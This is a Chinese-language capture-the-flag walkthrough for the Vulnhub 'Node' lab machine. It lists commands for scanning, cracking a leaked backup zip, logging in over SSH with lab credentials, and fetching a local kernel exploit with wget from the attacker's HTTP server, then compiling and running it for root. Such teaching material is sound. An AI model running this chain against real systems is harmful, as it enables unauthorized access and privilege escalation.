当前位置: 首页 > news >正文

Vulnhub-node靶机教学

本篇文章旨在为网络安全渗透测试靶机教学。通过阅读本文,读者将能够对渗透Vulnhub系列node靶机有一定的了解

一、信息收集阶段

靶机下载地址:https://www.vulnhub.com/entry/node-1,252

因为靶机为本地部署虚拟机网段,查看dhcp地址池设置。得到信息IP为:192.168.220.0/24

1、扫描网段,发现主机

nmap -sP 192.168.220.0/24
# 快速验证网段存活主机

2、扫描主机详细信息

nmap -sT -sV -sC  192.168.220.131
#-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
#-sV 尝试确定每个打开端口上运行的服务的版本
#-sC 使用默认的脚本扫描(Script Scanning)可以帮助发现更多的信息,如漏洞、配置错误等

3、登陆apache网站查看信息

http://192.168.220.131:3000/
#可能存在的用户名:tom mark rastating

4、查看网页源码

二、渗透阶段

1、依次登陆用户查看信息/下载文件

username:myP14ceAdm1nAcc0uNT
password:manchester

2、查看/解密下载文件myplace.backup

cat myplace.backup
base64 -d myplace.backup > ab.backup

3、解密后的文件无法使用,修改文件类型

file ab.backup #查看文件类型

mv ab.backup ab.zip  #修改文件类型

4、解压压缩文件

unzip ab.zip

5、 fcrackzip爆破压缩文件/查看文件内容

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt ab.zip
# pw == magicwordcd var/www/myplace

6、ssh登陆

ssh mark@192.168.220.131
# 输入密码:5AYRft73VtFpc84k

三、提权阶段

1、查找suid权限

find / -perm -4000 -print 2>/dev/null  #查找SUID 权限的文件

2、查看系统版本内核

uname -a
lsb_release -a

3、搜索历史漏洞

searchsploit ubuntu 16.04 

4、下载漏洞利用文件

searchsploit -m 44298.c  

5、python开启http微服务

python -m http.server 8088

6、靶机下载exp

cd /tmp  #切换到又权限的目录再下载
wget http://192.168.220.128:8088/44298.c

7、编译exp

gcc 44298.c -o poc

8、执行exp提权

./poc 

四、总结

本次靶机主要通过网页主页源码查看到api文件导致账号密码信息泄露,从而获取服务器普通用户权限,再根据机器上的系统内核版本的信息搜集,使用漏洞检索工具searchsploit,利用exp进行提权。

http://www.lryc.cn/news/540554.html

相关文章:

  • php处理图片出现内存溢出(Allowed memory size of 134217728 bytes exhausted)
  • 网络IP跳动问题解决详
  • Linux firewalld 常用命令
  • LeetCode 热题 100 49. 字母异位词分组
  • 从 DeepSeek 到飞算 JavaAI:AI 开发工具如何重塑技术生态?
  • OceanBase 初探学习历程之二——操作系统参数最佳实践
  • 全面指南:使用JMeter进行性能压测与性能优化(中间件压测、数据库压测、分布式集群压测、调优)
  • 《机器学习实战》专栏 No12:项目实战—端到端的机器学习项目Kaggle糖尿病预测
  • 【vue项目中如何实现一段文字跑马灯效果】
  • DeepSeek 细节之 MLA (Multi-head Latent Attention)
  • Python爬虫具体是如何解析商品信息的?
  • lerobot调试记录
  • 【Word转PDF】在线Doc/Docx转换为PDF格式 免费在线转换 功能强大好用
  • Jenkins 配置 Credentials 凭证
  • Datawhale Ollama教程笔记5
  • 小爱音箱连接电脑外放之后,浏览器网页视频暂停播放后,音箱整体没声音问题解决
  • go设置镜像代理
  • Python爬虫系列教程之第十二篇:爬虫异常处理与日志记录
  • 将Google文档导入WordPress:简单实用的几种方法
  • 大白话实战Gateway
  • 深入学习解析:183页可编辑PPT华为市场营销MPR+LTC流程规划方案
  • 【微中子代理踩坑-前端node-sass安装失败】
  • 使用open-webui+deepseek构建本地AI知识库
  • CSS盒模
  • 【开源向量数据库】Milvus简介
  • 机器学习笔记——常用损失函数
  • Nginx--日志(介绍、配置、日志轮转)
  • 2025 vue3面试题汇总,通俗易懂
  • 一周学会Flask3 Python Web开发-Debug模式开启
  • 聚焦于机器人研究,提出 FuSe 方法,通过语言锚定对通用机器人策略进行微调 视觉、触觉、听觉